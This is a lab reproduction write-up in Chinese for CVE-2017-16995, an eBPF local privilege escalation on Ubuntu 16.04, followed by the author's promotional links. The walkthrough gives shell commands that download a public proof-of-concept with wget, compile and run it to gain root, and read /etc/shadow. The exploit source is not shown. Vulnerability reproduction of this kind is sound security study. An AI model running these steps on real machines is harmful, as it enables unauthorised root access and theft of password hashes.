[漏洞復現] CVE-2017-16995 Ubuntu16.04
1、漏洞概述
Ubuntu最新版本16.04存在本地提權漏洞,該漏洞存在於Linux內核帶有的eBPF bpf(2)系統調用中,當用戶提供惡意BPF程序使eBPF驗證器模塊產生計算錯誤,導致任意內存讀寫問題。
攻擊者(普通用戶)可以利用該漏洞進行提權攻擊,獲取root許可權,危害極大。該漏洞編號是CVE-2017-16995,在之前的一些老版本已經修復了,但是在最新的Ubuntu版本中,又出現了這個漏洞,並且Twitter爆出了漏洞利用代碼……
目前,主要是Debian和Ubuntu版本受影響,Redhat和CentOS不受影響。
影響版本:
Linux內核:Linux Kernel Version 4.14 ~ 4.4Ubuntu版本:16.04.01~ 16.04.04
2、漏洞復現環境下載
Ubuntu16.04下載:http://old-releases.ubuntu.com/releases/16.04.0/
註:這裡我下載的版本是 ubuntu-16.04.3-server-amd64.iso POC代碼下載:http://cyseclabs.com/pub/upstream44.c 註:為了節省大家實驗時間,本實驗所有環境全部打包到了以下鏈接=> https://pan.baidu.com/s/1rtrSb2R_2SLg8VRRwrYynA 密碼:vowq3、實驗流程
① 下載Ubuntu 16.04 iso鏡像:http://old-releases.ubuntu.com/releases/16.04.0/
下載列表裡面有很多版本,考慮到虛擬機體積大小,這裡不適用desktop版本,直接使用server版本。點擊ubuntu-16.04.3-server-amd64.iso可以直接網頁下載,若速度較慢,可用列表中的torrent文件,用迅雷等軟體下載。② 使用VMware製作虛擬機,設置普通用戶賬號密碼(賬號: pinginglab 密碼:pinginglab)
註:這裡的VMware是MacOS下面的VMware Fushion,跟Windows下面的Vmware Workstation使用流程類似。
採用vmware快捷安裝,設置賬號密碼:
點擊「繼續」,即可創建虛擬機。
啟動虛擬機,這裡需要稍等片刻:
③ 使用賬號密碼(pinginglab/pinginglab)登錄虛擬機,進行漏洞復現
使用 id
查看本地用戶組許可權:
使用cat /proc/version
查看Linux內核版本 :
使用cat /etc/shadow
查看賬號密碼(由於是普通賬號,沒有許可權查看)
使用wget http://cyseclabs.com/pub/upstream44.c
下載POC代碼
使用sudo apt install gcc
下載並安裝gcc編譯器
使用gcc對upstream44.c進行編譯,給予執行許可權:
gcc -o test upstream44.c
chmod +x test
ll
執行test文件,實現本地提權: ./test
id
cat /etc/shadow
從實驗效果可以看到,此時用戶從「pinginglab」,切換到「root」,獲取到最高許可權,並且可以查看本地賬號密碼。
【了解更多】
知乎專欄:跟傑哥學網路與安全
新浪微博:@拼客學院陳鑫傑
微信公眾號:拼客院長陳鑫傑(搜索"pingsec"即可關注,大牛都在看)
拼客學院:http://www.pinginglab.net(專註網路|安全|運維的IT學院)
【相關文章】
網路安全入坑指南
[冇眼睇]揭秘地下色情誘導網站,上車吧!
拼客學院陳鑫傑:圖解ARP協議(三)ARP防禦篇-如何揪出"內鬼"並"優雅的還手"?
【視頻教程】
5天速成白帽子黑客
一周入門Linux運維
推薦閱讀:
※File Upload (low)
※繞過PowerShell 執行策略的15種方法
※[漏洞復現] MS17-010 基於"永恆之藍"實現Windows Getshell
※[漏洞復現] CVE-2018-4878 Flash 0day
※系統提權總結